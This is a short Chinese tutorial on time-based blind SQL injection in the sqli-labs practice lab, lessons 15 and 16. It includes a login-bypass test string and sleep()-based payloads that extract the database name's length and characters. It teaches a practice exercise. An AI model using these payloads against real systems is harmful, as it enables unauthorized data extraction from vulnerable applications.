大数据中的延时布尔盲注是怎样的

本篇文章给大家分享的是有关大数据中的延时布尔盲注是怎样的，小编觉得挺实用的，因此分享给大家学习，希望大家阅读完这篇文章后可以有所收获，话不多说，跟着小编一起来看看吧。

环境sqli-labs

less 15

1、首先我们抓包

2、测试注入

在 username 输入 1' or 1=1#

在 password 输入 任意

所以用单引号闭合

3、构造语句

uname=admin' and (select (if(length(database())>=8,sleep(5),null)))-- &passwd=2&submit=Submit

如果数据库的长度大于等于8多停留5秒，如果小于8什么都不操作

uname=admin' and If(ascii(substr(database(),1,1))=115,sleep(1),sleep(5))#&passwd=11&submit=Submit

如果第一位是‘s’是多停留1秒，如果不是多停留5秒

uname=admin'and If(left(database(),1)='s',1,sleep(5))#&passwd=11&submit=Submit

less 16

闭合是双引号和小括号（")），其他都一样

以上就是大数据中的延时布尔盲注是怎样的，小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。